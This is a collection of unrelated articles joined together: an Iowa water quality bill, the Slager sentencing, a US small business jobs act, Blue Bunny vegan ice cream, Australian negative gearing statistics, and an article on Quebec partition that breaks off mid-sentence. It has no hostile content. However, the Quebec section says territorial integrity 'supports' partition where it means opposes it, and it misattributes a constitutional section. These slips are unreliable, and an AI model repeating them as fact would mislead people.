Legislature and sent to the governor Wednesday, April 27, 2016. (Photo: William Petroski/The Register)Buy Photo Iowa lawmakers voted Monday to advance Gov. Terry Branstad's controversial water quality proposal with assurances from his staff that they will offer amendments to address the concerns of various stakeholders. A three-person House subcommittee voted to 2-1 to advance the bill to a full committee. It was the first time lawmakers had a chance to publicly consider the bill. "I’ve seen two proposals for water quality in our state over the last year. One was a lawsuit," said Rep. Peter Cownie, R-West Des Moines, referencing a suit brought by the Des Moines Water Works against three northwest Iowa counties over water quality. He credited that action with drawing state attention to the issue, but said "I like this way of doing things better." The governor's proposal, which he has said is his top priority for the session, would extend for another 20 years a one-cent sales tax currently earmarked for education infrastructure spending. That tax currently is set to expire in 2029. Schools would be guaranteed everything they currently receive through the tax plus an additional $10 million annually. The proposal would capture revenue growth beyond that cap and direct it to water quality projects. The Department of Revenue projects the plan would create $4.7 billion to support water quality over 32 years and maintain $21 billion for schools. But so far, the proposal has been met with skepticism, with some arguing that it pits water quality against education — two high-priority issues in the state. Many people who spoke at the subcommittee meeting said they appreciate that the governor has attempted to tackle the issue, but most said they are reserving judgment before choosing to support or oppose the legislation. Ted Stopulos, a legislative liaison for the governor, said the bill was designed to be a starting "framework" for discussions. He said Branstad has been meeting with stakeholders in the weeks since announcing his plan and his administration plans to bring amendments to address a number of issues that have caused some concern. He said there will be an amendment forthcoming that would allow school districts to use revenue generated by the tax to support not just infrastructure needs, but also transportation, per pupil spending and property tax relief. But it would prevent districts from using the money to build new sports stadiums. NEWSLETTERS Get the Breaking News Alert newsletter delivered to your inbox We're sorry, but something went wrong Alerts on breaking news delivered straight to your inbox. Please try again soon, or contact Customer Service at 1-877-424-0225. Delivery: Varies Invalid email address Thank you! You're almost signed up for Breaking News Alert Keep an eye out for an email to confirm your newsletter registration. More newsletters Stopulos said there also would be an amendment to require that any school infrastructure project worth than more than $1 million would require a vote to move forward. Finally, he said, they will support a provision promoting accountability, such as requiring some form of annual report to the Legislature. Rep. Lee Hein, R-Monticello, who chaired the committee, said he believes this is the first step in what will likely be a long process. But he said he's glad to see the conversation continuing and believes the issue is worthy of being discussed at the committee level. Read or Share this story: http://dmreg.co/1XtMtNw -A former South Carolina police officer has been sentenced to 20 years in prison for fatally shooting an unarmed African-American motorist. Michael Slager committed second-degree murder when he shot Walter Scott, 50, in the back as he fled arrest after a traffic stop, a judge ruled. "I forgive you," relatives of Scott told Slager, 36, in court, as they spoke about the death's impact on them. A bystander recorded mobile phone video of the April 2015 shooting. Experts say that without a video of the shooting, the former officer probably would not have been fired from the force nor have faced murder charges. Video caption The dash cam footage shows Walter Scott's car being pulled over and Officer Michael Slager asking for his paperwork before Mr Scott runs away Judge David Norton told the court that Slager, who is white, had "lived a spotless life" before the shooting. "Regardless, this is a tragedy that shouldn't have happened," he added. Lawyers for Slager had argued in court that he opened fire on Scott because he thought he had taken his police-issued stun gun during their scuffle. The case ended in a mistrial in 2016, and rather than face another jury, the former North Charleston officer pleaded guilty in May to a federal charge of violating the victim's civil rights. Image copyright Reuters Image caption The dead man's mother, Judy Scott, forgave Slager in court In Thursday's sentencing, the judge ruled that Slager had acted with malice and "willful intent to provide false testimony". The judge also had the option of sentencing him for a lesser crime of voluntary manslaughter, which would have carried a sentence of 12 to 15 years. The dead man's mother, Judy Scott, told Slager in court on Thursday that she forgave him. She said she hoped he would repent and allow Jesus into his heart. Scott's brother, Anthony, said it had taken him a long time to overcome his depression and forgive Slager. Image copyright Reuters Image caption Michael Slager gestures as he testifies in his murder trial last year "I'm not angry at you, Michael," he told Slager. "I pray for you." Members of the family thanked onlooker Feidin Santana for filming the encounter. The City of North Charleston paid a $6.5m (£4.8m) settlement to the Scotts. Slager told the court on Thursday: "I wish this never would have happened. "I wish I could go back and change events, but I can't and I am very sorry for that." Slager chased Scott after pulling him over for a broken brake light. Scott, who was wanted for unpaid child support, fled the vehicle, police dashcam footage shows. Video caption Racism in the US: Is there a single step that can bring equality? A bystander's video captured Scott breaking free from Slager's grasp and running directly away from him, with his back to the officer. Slager draws his pistol and fires from about 15ft (4.5m) away, hitting Scott five times. The death took place amid US media scrutiny of police treatment of African Americans, and provoked protests by the Black Lives Matter movement. US Attorney General Jeff Sessions said in a statement: "Officers who violate anyone's rights also violate their oaths of honour. "And they tarnish the names of the vast majority of officers, who do incredible work." -House OKs small biz jobs bill NEW YORK (CNNMoney.com) -- One week after the Senate passed a $42 billion bill aimed at helping small businesses, the House voted Thursday to send the bill to President Obama's desk. The measure, which passed the House in a 237 to 187 vote, is aimed at creating 500,000 jobs, according to a Senate summary of the bill. The Small Business Jobs Act also is intended to make credit more available for Main Street and enacts about $12 billion in tax breaks. The president will sign the bill into law on Monday. "The small business jobs bill passed today will help provide loans and cut taxes for millions of small business owners without adding a dime to our nation's deficit," said Obama in a statement. Not only is Obama under pressure to create jobs, but he started talking about getting cheap capital to small businesses nearly a year ago. The House first passed a version of the legislation about 3 months ago, but the bill met stiff Republican opposition in the Senate. After months of debate and significant pressure from the White House, the Senate finally passed the bill in a 61 to 38 vote last week. The president chided Congress for the politicking even as he celebrated the passage. "After months of partisan obstruction and needless delay, I'm grateful that Democrats and a few Republicans came together to support this common-sense plan to put Americans back to work," he said. The Financial Services Roundtable, a group of the nation's largest financial institutions, supports the bill. "Small businesses are the linchpin of our nation's economic growth and well-being," said Steve Bartlett, president of the Roundtable. Republicans have largely opposed the bill: The votes in both the House and the Senate have fallen nearly on party lines. "Unfortunately, this bill does nothing to help end the uncertainty that is crippling job creation and hurting small businesses," said House Republican Leader John Boehner, R-Ohio. "Instead it puts taxpayers on the hook for even more bailouts." What is in the bill: The Small Business Jobs Act authorizes the creation of a $30 billion fund run by the Treasury Department that would deliver ultra-cheap capital to banks with less than $10 billion in assets. The idea is that community banks do the lion's share of lending to small businesses, and pumping capital into them will get money in the hands of Main Street businesses. Another provision aims to increase the flow of capital by providing $1.5 billion in grants to state lending programs that in turn support loans to small businesses. The state programs have proven themselves to be efficient, targeted and effective, but with many states struggling to balance their budgets, the programs are going broke. The bill would also provide a slew of tax breaks that will cost $12 billion over a decade, according to a preliminary estimate from the Joint Committee on Taxation. The breaks aim to encourage small businesses to purchase new equipment, to incentivize venture capital firms to invest in small businesses, and to motivate entrepreneurs to start their own business. Another provision of the legislation increases the loan limits on government-backed loans. It also extends the popular loan sweeteners for Small Business Administration loans through the end of the year. The sweeteners, initiated with the 2009 Recovery Act, have been a ,stimulus success story, and small businesses have been in line waiting for more funding. There are quite a few tax breaks, but here is a rundown of five that have the potential to be game changers for the small businesses that are affected: 100% exclusion of capital gains: The bill would eliminate capital gains taxes on investments in qualifying small businesses. To qualify for the tax break, a small business needs to be a C corporation - sorry, LLCs and S-corps - with assets of less than $50 million. The investor must buy the stock at "original issue," meaning it's purchased directly from the company, and has to hold it for at least five years. Carry back provision extended to 5 years: When a business books a profit, it pays income tax on its earnings. But if the business then turns a loss in later years, tax rules allow the business to "carry back" its loss and deduct the money from earlier profits. By filing an amended tax return for the earlier, profitable year, the business can claim an immediate refund on the taxes it paid. The bill allows certain small businesses to extend the carryback for 5 years. Increase of Section 179: To motivate companies to go spend money on equipment, "Section 179" of the tax code allows businesses to write off capital expenditures immediately, putting cash in a company's pocket quickly. Thanks to the Recovery Act, businesses can write off up to $250,000 worth of equipment through 2009. This bill extends the benefit through 2011 and the maximum increases to $500,000. Bonus depreciation extension: Businesses can also opt to recover the cost of capital expenditures by writing off a bit of the cost of the purchase over a number of years, following a depreciation schedule. Temporarily, businesses can front-load that deduction by writing off 50% of capital expenditures made in 2008 and 2009. This bill extends that first-year depreciation for qualifying property that is put in service in 2010. Help for start-ups: Currently, entrepreneurs can deduct up to $5,000 in start-up expenses. That amount is reduced by the amount that the start-up's expenses exceed $50,000. The bill would increase the deduction to $10,000 for 2010, and the deduction would be reduced by the amount that an entrepreneur exceeds $60,000. -Blue Bunny, one of the biggest ice cream makers, is testing a line of nondairy vegan ice cream in five cities, and Dallas and Houston are on the list. The line includes four flavors — vanilla, chocolate, mint chocolate chip and mocha fudge — and can be found at all Kroger stores in Dallas and Houston. It's also being sold in Denver, Omaha and Des Moines. Company spokeswoman Deanna Dugo says the new ice cream reflects a nationwide trend. "In the current climate, nondairy alternatives are huge, whether it's a sensitivity or with more people becoming vegan," she says. The ice creams are made with almond milk, and they are cholesterol- and lactose-free. "Almond milk has become a big trend," Dugo says. "This means you can eat ice cream even if you don't do dairy." They run from 150 to 180 calories per serving — typical for supermarket-style ice cream — with 6 to 8 grams of fat, also typical. They provide 20 percent of the recommended daily allotment of calcium, which is higher than most regular ice cream. Nondairy ice cream is common at natural-food stores like Sprouts and Whole Foods Markets, who devote half their freezer case to nondairy, but it says something when it's a mainstream company like Blue Bunny. Ben & Jerry's also recently announced that it will start selling vegan ice cream in 2016. With Texas-based Blue Bell still downed following a recall of its products in April after an outbreak of listeria, the timing is good for Blue Bunny to add something new to the freezer case, especially in these parts, says Gary Huddleston, spokesman for Kroger. "Dallas-Fort Worth is a huge ice cream market, and as of a couple of weeks ago, the Blue Bunny ice creams are at all of our stores," he says. -The myth of 'mum and dad' property investors Updated Property groups want us to believe that average income earners dominate property investment and negative gearing - a closer look at the statistics shows that's a furphy, writes Michael Janda. There's no doubt that a lot of ordinary, average-income Australians own investment properties, many of which are negatively geared. If you aren't a property investor yourself, then there's a good chance you know plenty of them, and run into them incessantly at weekend barbeques, weddings, on the golf course, or at a range of other social functions. That's not surprising, because Tax Office statistics show there are almost 1.9 million individuals who declare rental income or, more typically, make rental losses. What is surprising is that, according to the Housing Industry Association, nearly three quarters of them earn a taxable income of $80,000 or less. That's one of the key justifications trotted out for maintaining the current negative gearing regime - that it overwhelmingly benefits ordinary, average-income 'mum and dad' investors. When the HIA made that claim again this week upon releasing an economic report in defence of negative gearing, it set off my bull-dust detectors big time. So I went to the source, the ATO's tax stats, to find out the truth. For those who argue that negative gearing isn't overwhelmingly the domain of society's better-off, the truth hurts. When I crunched the raw numbers, I did find that 72 per cent of investors indeed earned $80,000 or less in the latest 2011-12 figures (the discrepancy with the HIA figures being that their report used the 2010-11 stats). But this just didn't tally up with Melbourne University's widely respected Household Income and Labour Dynamics in Australia (HILDA) survey taken every four years that examines the nation's household finances in depth. Figures compiled by the Reserve Bank from that survey show that investment housing loans are, unsurprisingly, more than twice as common amongst the top fifth of highest-earning households than amongst any other income group. In its latest Financial Stability Report, the RBA's analysis of HILDA also shows that a whopping 60 per cent of investment housing debt is held by the top fifth of income earners. That got me thinking about the apparent discrepancy between the RBA data and the tax stats - such a large survey as HILDA surely couldn't have got it that wrong. An obvious issue with the HIA's use of the ATO data was that it looked at taxable income - after people take out various deductions to lower their tax bills. When I crunched the numbers, over 60,000 people with investment properties whose taxable income was $80,000 or less had total incomes above that $80,000 threshold. That takes the HIA's claimed 74 per cent, which is 72 per cent on the latest data, further down to 68 per cent. But more than two thirds of landlords earning under $80,000 a year still seemed way too high in light of other evidence. That's when I found the ATO's Excel tables that look at what taxable and total incomes people have declared who collect rent from investment properties. Almost 74,000 people who declare rental income or losses have a total income of less than $0 - that's right, they either live on nothing or have other means of paying the bills that don't have to be declared to the ATO. Speaking to tax experts, including Chartered Accountants Australia and New Zealand's Michael Croker and UNSW's Professor Peter Swan, there are a few unverifiable possibilities as to who these people might be. They could be people who own a property, are losing money on it, but are living off their partners' incomes; they could be people living off savings whose rental losses outweigh any investment income they earn; they could be superannuants drawing on now non-taxed drawdowns and pension streams; maybe they have some sophisticated trust structures which mean they can pay the bills while apparently earning no money. Or they could be foreign investors. Rental income or losses are the only earnings that non-resident foreign property investors are likely to have to declare to the Australian Tax Office, as their wages, profits or other investment earnings are likely to be sourced overseas. Separate ATO data show 50,600 non-residents declared rental income in 2011-12, of which almost all (49,520) earned $80,000 or less in Australia. So take them out of the HIA figures and you are now down to 65.7 per cent. That's already a fair bit less than three-quarters, but still more than the HILDA figures would seem to suggest. However, on top of the 74,000 negative income earners, there are another quarter of a million people declaring rental income or losses who have total incomes below $20,000. Again, it is highly unlikely that these people could survive if that was their genuine income level, let alone service the mortgages that the 116,000 of them who are negatively geared have. Completely removing all double counting, if we exclude these people as well, that takes the proportion of landlords earning $80,000 or less down to around 60 per cent - certainly closer to the truth, but probably still overstating the true situation. The very reason that many housing investors fall below the $80,000 threshold is because they have used negative gearing to slash their tax bill. That's because the ATO's measure of "total income" includes net, not gross, rent - that is, rental earnings or losses after deductions such as interest payments have already been removed. The very reason that many housing investors fall below the $80,000 threshold is because they have used negative gearing to slash their tax bill. The net result of all these calculations could be boiled down to a 'fact check' of the HIA's statement, and the outcome would be 'massively overstated'. The vagaries of what is counted as income for tax purposes, and of tax deductibility, mean that it is impossible to be sure exactly how many landlords really earn less than $80,000 per year. One other interesting fact from the ATO's figures is that the average 'total income' of Australian taxpayers was $55,000. That means that on the way the tax office calculates 'total income' - looking at net rent and net capital gains, and excluding non-taxable items - someone on $80,000 is already a relatively high income earner. Income by itself is also an incomplete measure of whether these are 'average' Australians - wealth is just as important as income when considering the equality of tax measures. Many of the sub-$80,000 income earners are self-funded retirees who may own several investment properties, and possibly have a substantial share portfolio or bank balance as well. Their incomes may be below $80,000 in any given year, but they have the option to liquidate those assets at will to fund their retirement lifestyle. Given that superannuation drawdowns aren't counted either, it is certain that many of these superannuants are exactly the "so-called wealthy investors" that the HIA claims the tax figures show are so few in number. A lot of this group may no longer be utilising negative gearing, but it will have undoubtedly assisted them in building up the assets that will give them a comfortable retirement. For all these reasons, the HILDA data - used extensively by the Reserve Bank - is a much more reliable measure than the Tax Office data on what type of household gets by far the biggest benefit from negative gearing, and it ain't the poor. Michael Janda is an online business reporter with the ABC. View his full profile here. Topics: housing, housing-industry, tax First posted -The partition of Quebec refers to the secession of regions of the province of Quebec, rather than to partitions in a strict political sense. It is usually discussed as a possibility in the event of Quebec secession from Canada. It was not a key issue in either the 1980 Referendum on Quebec Sovereignty or the 1995 Referendum on Quebec Sovereignty, but dominated the politics of national unity for about two years in the aftermath of the second referendum. Since then, the issue has occasionally resurfaced (for example in the 2007 provincial election). Partition proposals [ edit ] What area would an independent Quebec occupy? That of the Province as it is today without any territorial waters? That of 1867 i.e., the territory without the 1898 and 1912 annexes? That of 1984 with the addition of Newfoundland's Labrador? A.-L. Sanguin, 1984[1] Broadly speaking, partition proposals have tended to fall into three categories: 1. New borders based on a return to historical boundaries that predate the Confederation of 1867. Provinces of Canada at Confederation in 1867 The logic here is that the separation of Quebec would represent an end to a constitutional deal in which Quebec was granted stewardship over certain lands which would revert to their former sovereign owners if Quebec were to leave Canada. For example, in his 1991 book Who Gets Ungava?, David Varty notes that the northern two-thirds of Quebec’s current territory had formerly been a part of the lands owned by the Hudson's Bay Company, and that it had been transferred to Quebec by means of two Acts of the Canadian Parliament, in 1898 and 1912 respectively. For this reason, if Quebec were to secede, the transfer would be legally void: Quebec was a province of Canada at the time that the Ungava territory was transferred to Quebec’s jurisdiction... Had Quebec been moving to become an independent country, the transfer of jurisdiction would not have taken place. There was an implied condition that the Province of Quebec was going to remain part of Canada. Any attempt to move to independence would constitute a breach of that implied condition attached to the transfer.[2] 2. New borders that would create a ‘land bridge’ between New Brunswick and Ontario This could be set up to prevent Canada’s remaining nine provinces from being split into two non-contiguous chunks of territory separated by about 300 miles (480 km) of foreign (Quebec) soil. The term sometimes used for this eventuality is "Pakistanisation",[1] in reference to the way in which East Pakistan and West Pakistan were separated by hundreds of miles of foreign soil, following independence in 1947, with East Pakistan eventually separating and becoming its own country, Bangladesh, in 1971. The fear is that Canada would be unworkable if its four Atlantic provinces were to become an exclave. 3. New borders based on the preferences of local populations. The logic of this approach is that, if Quebecers as a whole have the right to determine by majority vote whether to separate from Canada, then by extension the residents of regions within Quebec ought to be accorded the same right to separate from Quebec and to remain within Canada. The areas of Quebec that have been mentioned as likely to choose to remain in Canada include predominantly English-speaking municipalities on the western part of the Island of Montreal, Northern Quebec, the Eastern Townships and the Pontiac region in the Outaouais.[ citation needed ] In his 1992 book Canada Remapped: How the Partition of Quebec Will Reshape the Nation, Scott Reid argues in favour of partition as determined by local populations and largely dismisses the first two lines of thought on partition listed above. History of the Partition debate [ edit ] The partition movement dates from May 1976, when William Shaw, a candidate for the leadership of the Union Nationale, proposed the idea in a series of interviews with journalists. Writing several years later, Shaw recounted one of these interviews: "I said to the journalist at that time, ‘I want to introduce a new word into the lexicon of Canadian politics—PARTITION. The threat of partition will prevent separation.’"[3] In December 1976, an organization called the "Preparatory Committee for an Eleventh Province" was formed in Montreal. This group contained some individuals who believed, along with Shaw, that the threat of a partition in which some parts of Quebec would remain within Canada would weaken support for separation. Other members of the Preparatory Committee sought to create a new province out of the linguistically mixed parts of Quebec even if Quebec were to remain in Canada, in order to create a new, bilingual province.[4] This faction within the early partition movement bears some resemblance to the movements that have arisen from time to time in parts of some Canadian provinces to break away and form new provinces. For example, also in the 1970s, there was a movement, led by the Parti Acadien, to create a new Acadian province out of northern New Brunswick. Shortly before the 1980 referendum on Quebec secession, Prime Minister Pierre Trudeau remarked, "Si le Canada est divisible, le Québec doit être aussi divisible."[5] (This translates as, "If Canada is divisible, Quebec must also be divisible.") Apparently taking their inspiration from this statement,[6] Shaw and co-author Lionel Albert had published a book on the subject by the end of the year. Partition: The Price of Quebec’s Independence outlined a plan for the excision of three slices of territory from a newly independent Quebec republic: Shaw and Albert calculated that the resulting independent Quebec republic would contain somewhat less than one-quarter of the province’s total landmass, have a population of around 2.9 million, and would be about 97% French-speaking. The parts remaining in Canada would contain over three million residents, of whom about two-thirds would be French-speaking. But they also seem to have believed that their scenario would never play out. As they put it, "Such a country will not be proclaimed—ever. The French-Canadian people would not have it. They would rather have a large province than a small country. That is why separation will not happen."[10] The Grand Council of the Crees and the Inuit of Nunavik in Northern Quebec have both expressed that they will keep their lands in Canada should Quebec secede, invoking international laws that guarantee their right to self-determination. In 1995, a Cree referendum voted 95% in favour of staying in Canada should Quebec secede. Following the narrow loss by the separatist side in the October 1995 referendum on secession, there was a widespread belief that another referendum would be held in the near future. For this reason, potential players began to take actions that would strengthen their positions in the coming unity crisis.[11] Forty-three municipal councils in Quebec, including many on the western part of the Island of Montreal, passed resolutions expressing their will to stay in Canada.[12] In 1997, Denzil Spence, the mayor of Allumette Island, a small west Quebec municipality on the Ontario border, approached the county councils in several nearby Ontario counties with the following pro-partition resolution which had previously been endorsed by Quebec's Equality Party: Resolved: Regardless of the outcome of any referendum on the independence of Quebec conducted by the government of the province of Quebec, the Government of Canada guarantee forthwith the rights of loyal citizens of Canada, where they form the majority in any provincial riding in Quebec, to remain citizens of Canada, territorially part of the Canadian nation and people, one and indivisible.[13] Between March and August 1997, the resolution was endorsed by county councils in Renfrew County, Frontenac County, Lanark County, and Stormont, Dundas and Glengarry United Counties, but it was rejected by the council of Prescott-Russell County.[14] A similar resolution, circulated by a group called the Quebec Committee for Canada, was endorsed by New Brunswick premier Frank McKenna in early summer 1997, and shortly afterwards by New Brunswick's Union of Municipalities, representing about 40 predominantly anglophone municipal councils. However the parallel francophone organization, the Association of New Brunswick Municipalities, rejected the partition resolution.[15] Quebec Premier Lucien Bouchard responded to Premier McKenna's letter of endorsement with a letter of his own, defending Quebec's right to secede with its territory intact. This in turn provoked an open letter from federal Intergovernmental Affairs Minister Stéphane Dion, arguing that partition was a legitimate option. Finally, on August 14, Quebec's deputy premier, Bernard Landry, responded with an open letter in Le Droit, accusing partitionists of being anti-democratic. Shortly after these events, the sovereigntist provincial government of Premier Bouchard enacted a law forcing many of Quebec's municipalities to merge — and in particular, forcing all of the small non-francophone municipalities on the Island of Montreal to become part of a single francophone-majority municipality covering the entire island. Montreal Gazette columnist Henry Aubin observed shortly afterwards that "many sovereigntists hoped that the merger would boost French and stymie partition.", ignoring the fact that municipalities have no constitutional powers and belong to the province.[16] Arguments against partition [ edit ] Quebec sovereigntists and federalist Quebec nationalists generally oppose partition. Partition is chiefly supported by the argument of the right of territorial integrity (intégrité térritoriale) of Quebec. A number of arguments have been advanced in defence of this position. 1. International law guarantees the territorial integrity of Quebec. The most precise expression of the argument that international law would guarantee a sovereign Quebec’s right to its current boundaries was given, in 1992, from the Bélanger-Campeau Commission, by a panel of international law experts (Thomas Franck, Rosalyn Higgins, Alain Pellet, Malcolm Shaw, Christian Tomuschat) commissioned by the government of Quebec in the aftermath of the failed Meech Lake Accord. They responded to the following two questions on the territorial integrity and the potential partition of an independent Quebec, which were posed by a special commission of the Quebec National Assembly: Question No. 1: “Assuming that Quebec were to attain sovereignty, would the boundaries of a sovereign Quebec remain the same as its present boundaries, including the territories attributed to Quebec under the federal legislation of 1898 and 1912, or would they be those of the Province of Quebec at the time of the creation of the Canadian Federation in 1867?” Question No 2: “Assuming that Quebec were to attain sovereignty, would international law enforce the principle of territorial integrity (or uti possidetis) over any claims aiming to dismember the territory of Quebec, and more particularly: “(a) claims of the Natives of Quebec invoking the right to self-determination within the meaning of international law; “(b) claims of the anglophone minority, particularly in respect of those regions of Quebec in which this minority is concentrated; “(c) claims of the inhabitants of certain border regions of Quebec, regardless of ethnic origin?" The panelists answered with their opinions as follows: Answer No. 1: “If Quebec were to attain independence, the borders of a sovereign Quebec would be its present boundaries and would include the territories attributed to Quebec by the federal legislation of 1898 and 1912, unless otherwise agreed to by the province before independence, or as between the two States thereafter.” Answer No. 2: “If Quebec were to attain independence, the principle of legal continuity (absence of a vacuum juris) would allow the territorial integrity of Quebec, guaranteed both by Canadian constitutional law and public international law, to be asserted over any claims aimed at dismembering the territory of Quebec, whether they stem from: “- the Natives of Quebec, who enjoy all the rights belonging to minorities, in addition to those recognized in indigenous peoples by present-day international law, but without giving rise to the right to secede; “- the anglophone minority for whom the protection provided by international law has no territorial effect; or “- persons residing in certain border regions of Quebec, who, as such, enjoy no particular protection under international law." “These conclusions are reinforced by the applicability of the principle of the succession to the existing territorial limits at the time of independence.”[17] This line of argumentation is supported by "Uti possidetis juris" which states, as per customary international law, that newly formed sovereign states should have the same borders that their preceding dependent area had before their independence.[18] 2. Quebec is a nation, and therefore it has the collective right to be an independent nation-state, and also a collective right not to be partitioned or divided. There may be corollaries to this argument. First, Canada including French-speaking and English-speaking Canadians would be considered not to be a nation, and hence its territorial integrity does not warrant the protection given under international law to the existing borders of nation-states. Second, the fact that English-speaking Canadians living in Quebec are linked by language to another nation (the rest of Canada) does not mean that they have the right to remain within Canada in their homes if the province secedes. This was the argument presented by Premier Lucien Bouchard when he stated, on January 27, 1996, that "Canada is not a real country." This argument is also based in international law, more specifically Section b. of Article XI of the Charter of the United Nations, stating: "Members of the United Nations which have or assume responsibilities for the administration of territories whose peoples have not yet attained a full measure of self-government recognize the principle that the interests of the inhabitants of these territories are paramount, and accept as a sacred trust the obligation to promote to the utmost, within the system of international peace and security established by the present Charter, the well-being of the inhabitants of these territories, and, to this end: [...] b. to develop self-government, to take due account of the political aspirations of the peoples, and to assist them in the progressive development of their free political institutions, according to the particular circumstances of each territory and its peoples and their varying stages of advancement; [...]"[19] Worded otherwise, this means that Quebec, as a distinct nation, has the right to aspirations to form a sovereign state, as well as the right to be supported by the Federal government in this endeavor. Gérald Larose, the president of the Confederation of National Trade Unions, used this argument to explain why he referred to partition proposals as "racist": "Asked why he calls the partition movement racist, Larose said, 'cutting up a territory, wherever it's done in the world, is a racist project. They cut according to the backyard and the sidewalks of people, according to their race. This is a racist project.' Asked why this does not apply to the sovereigntist project and Canada, he said, 'There is not one people in Canada. There are two peoples. Quebec is a people and Canada is another people and we have our territory. That is why Canada is divisible, Quebec un-divisible.'"[20] This argument has also been supported by francophones in provinces outside of Quebec. In the two-year period following the 1995 referendum, when many municipal councils in Ontario and New Brunswick were passing resolutions endorsing the right of individual municipalities within Quebec to leave the province and rejoin Canada, the "partition resolution" was rejected by almost all French-majority municipalities in the two provinces. In the mostly French-speaking Ottawa suburb of Vanier, the council approved the resolution, and later rescinded its approval. Mayor Guy Cousineau explained this reversal to a newspaper reporter by stating "I had letters and calls from many francophones in Nepean, Gloucester, and on the Quebec side." He went on to explain, "We must show solidarity for 'la francophonie' from one ocean to the other. Not just here in Ontario, not just in Quebec, but everywhere in Canada…. Now, it's very clear and certain that we're not in favour of Quebec separation, but there are better ways to encourage Quebecers to remain in Canada."[21] 3. Partition is based on the undemocratic assumption that Quebec is not divisible as long as it is voting "No" to secession, but that it is divisible as soon as it votes "Yes." In 1997, future Parti Québécois leader Bernard Landry expressed this point of view when he wrote, "The partitionists argue that 'No' voters should have more rights than 'Yes' voters. In 1980 and again in 1995, sovereigntist voters accepted with good grace the majority decision. According to the partitionists, some 'No' voters could ignore democracy, refuse the verdict and change the rules of the game. This would be an intolerable injustice…. [Do] you think that the towns or the regions that voted 'Yes' in 1980 and in 1995 also have the right to break themselves away from Canada? Surely not."[22] As an example of what ex-premier Bernard Landry explained, it can be established that after the Quebec Referendum of 1995 where the Yes vote lost by a margin of about 0.5% (49.42% Yes, 50.58% No), no attempts to partition were made by the "Yes" voter base, in respect of the referendum. It is an argument based less on legal grounds, and more on moral grounds. 4. Partition is an impractical solution, or is being proposed insincerely even by its advocates. This argument has been advanced by Raymond Villeneuve, a founding member of the FLQ and leader of the Mouvement de libération nationale du Québec (MLNQ), who says, "They're always threatening us, always, always. Whether it's Brent Tyler, Stephen Scott, William Johnson, William Shaw or whoever. And they're very subtle about it. They say that if we want to divide Canada, then they'll divide Quebec. And they make it sound as though people will accept it. Their real objective is to scare people, but they say, 'We don't want violence. We just won't pay our taxes. We'll use civil disobedience.' " There is merit in Villeneuve's characterization of partition as being primarily an argument designed to encourage Quebecers to vote against separation in any future referendum on separation. Trudeau's 1980 observation that if Canada is divisible, Quebec is also divisible, was made on the eve of a referendum in which he was attempting to encourage voters to cast their ballots against secession. The first book on the subject, and the one which gave its name to the movement, was 1980's Partition, the Price of Quebec's Independence, by Lionel Albert and William Shaw. The title of this book makes clear its intention to use the threat of territorial losses to dissuade Quebecers from voting in favour of secession. Stephen Scott was even more direct about his intention to use the threat of partition as a means of preventing separation altogether: "Partition is to Quebec nationalists like rats for Winston Smith in George Orwell's novel 1984 — it is the ultimate fear. That is the only thing they have ever been afraid of: the disintegration of their territory."[23] By the time of the second referendum on secession, in 1995, not all partition arguments were designed with the intention of causing Quebecers to vote against independence. The referendums by Quebec's Cree and Inuit populations in the days prior to the province's referendum seem to have been designed not to serve as a threat, but rather to provide a clear basis on which to actually carry out the separation of these territories from Quebec, in the event of a provincewide majority in favour of secession. 5. Partition is illegal due to municipalities being entities created by the Quebec National Assembly and therefore, the municipalities cannot hold referendum on separations, because they don't have any constitutional powers. The fact that municipalities don't have constitutional powers is recognised by the constitution act: "The Constitution Act, 1867 established the parameters of current federal and provincial relationships with municipalities. Section 92 of the Act sets out the exclusive powers of provincial legislatures in 16 areas, with section 92(8) giving the legislature of each province exclusive responsibility for making laws relating to that province’s municipal institutions. [...] Because local governments are legally subordinate to provincial governments, the only sources of authority and revenue available to municipalities are those that are specifically granted by provincial legislation."[24] 6. Partition is not allowed without the consent of the affected provinces. Section 43 of the Canadian Charter of Rights and Freedoms explicitly states that “any alterations to boundaries between provinces […] only where so authorized by resolutions […] of the legislative assembly of each province to which the amendment applies”[25] Popular support / opposition [ edit ] No polling was done on the subject of partition prior to the 1995 referendum on secession, so it is difficult to guess at levels of support. However, during the years following the referendum, a number of polls were conducted, asking Canadians their views on the subject. Different questions sometimes elicited different responses, but certain patterns could nevertheless be distinguished: Support for partition was relatively low when people were asked, simply, if they favoured “partition” as a concept, but rose rapidly when the pollsters asked whether people or regions should be allowed to choose whether to remain in Canada. For example, one poll published in late September 1997 reported that when Quebecers were asked, “Are you for or against partition?” only 34.4% supported the idea. In another poll conducted at almost the same time, 60% of Quebecers answered “yes” when asked, “Do you believe that any regions of Quebec which want to remain part of Canada have the right to do so?”[26] Within Quebec, opinion was about evenly divided as to whether parts of the province that wish to remain within Canada should be permitted to do so. However, outside Quebec, a decisive majority believed that parts of Quebec which wish to remain Canadian should be permitted to do so. In a poll conducted five months after the referendum, 48% of Quebecers responded “yes”, and 45% “no” to the question, “If Quebec becomes sovereign, do you think regions of Quebec should have the right to remain part of Canada?” In the rest of Canada, 75% answered “yes” and only 23% answered “no.”[27] In a 1997 poll, 56% of Quebecers and 80% of non-Quebecers felt that “regions” of Quebec should “have the right to stay in Canada” if Quebec were to secede.[28] Both inside and outside Quebec, there tended to be opposition to any option that hinted of the use of force to settle territorial issues. The strongest opposition to partition came in the answers to a 1996 poll in which respondents were asked whether it would be acceptable “for groups within Quebec to partition the territory and separate from Quebec.” Only 66% of non-Quebecers said this option was acceptable (about 10 - 15% below support levels in other polls), and it was supported by only 25% of Quebecers. Significantly, survey respondents had first been asked whether they agreed with the statement, “If Quebec votes to leave Canada, the federal government should use force to make it stay,” and it seems likely that many survey respondents associated partition with the use of force.[29] Among both Quebecers and non-Quebecers, support was higher for giving the right to self-determination to Quebec’s aboriginals, than it was for giving the same right to non-aboriginals who might want to remain within Canada. For example, in a 1997 poll, 75% of Quebecers and 92% of non-Quebecers agreed that the Cree and Inuit regions of northern Quebec “have the right to stay in Canada.”[30] A 1999 poll showed that 72% of Quebecers found it reasonable that “northern regions with an aboriginal majority could stay in Canada”, while only 49% were willing to accord the same right to regions where a majority had voted No to separation.[31] No major political party in Quebec supports partition, including federalist parties. Provincial election of 2007 [ edit ] During the Quebec provincial election of 2007, Liberal Premier Jean Charest stated that while he personally was opposed to partition, it would emerge as an issue if Quebec voted to secede from Canada.[32] Political rivals Mario Dumont (Action démocratique du Québec) and Andre Boisclair (Parti Québécois) criticized this. Pierre-Karl Péladeau 2015 [ edit ] On 26 November 2015, PQ leader Pierre-Karl Péladeau created controversy when he implied First Nations and other groups could negotiate succession from an independent Quebec. This went against his party's longstanding position than an independent Quebec's borders would remain the 